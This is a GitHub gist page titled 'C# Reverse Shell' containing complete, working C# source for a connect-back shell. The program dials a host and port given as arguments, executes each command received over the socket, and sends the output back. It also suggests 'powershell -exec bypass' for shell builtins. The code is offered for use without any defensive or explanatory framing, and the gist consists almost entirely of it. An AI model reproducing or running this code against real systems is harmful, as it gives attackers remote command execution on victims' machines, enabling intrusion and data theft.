Skip to content

Instantly share code, notes, and snippets.

@siamware
Created January 5, 2018 02:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save siamware/19867c0df8e1b3a86e705f1ba153d2fe to your computer and use it in GitHub Desktop.
Save siamware/19867c0df8e1b3a86e705f1ba153d2fe to your computer and use it in GitHub Desktop.
C# Reverse Shell
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], int.Parse(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
while(true)
{
string cmd = rdr.ReadLine();
if(string.IsNullOrEmpty(cmd))
{
rdr.Close();
stream.Close();
client.Close();
return;
}
if(string.IsNullOrWhiteSpace(cmd))
continue;
string[] split = cmd.Trim().Split(' ');
string filename = split.First();
string arg = string.Join(" ", split.Skip(1));
//Console.WriteLine("filename: {0}", filename);
//Console.WriteLine("Args: {0}", arg);
try
{
Process prc = new Process();
prc.StartInfo = new ProcessStartInfo();
prc.StartInfo.FileName = filename;
prc.StartInfo.Arguments = arg;
prc.StartInfo.UseShellExecute = false;
prc.StartInfo.RedirectStandardOutput = true;
prc.Start();
prc.StandardOutput.BaseStream.CopyTo(stream);
prc.WaitForExit();
} catch (Exception e){
//Console.WriteLine("{0} Exception caught.", e);
string error = "Command not found. Possible shell builtin? Try running 'powershell -exec bypass " + cmd + "'\n";
byte[] errorBytes = Encoding.ASCII.GetBytes(error);
stream.Write(errorBytes, 0, errorBytes.Length);
}
}
}
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment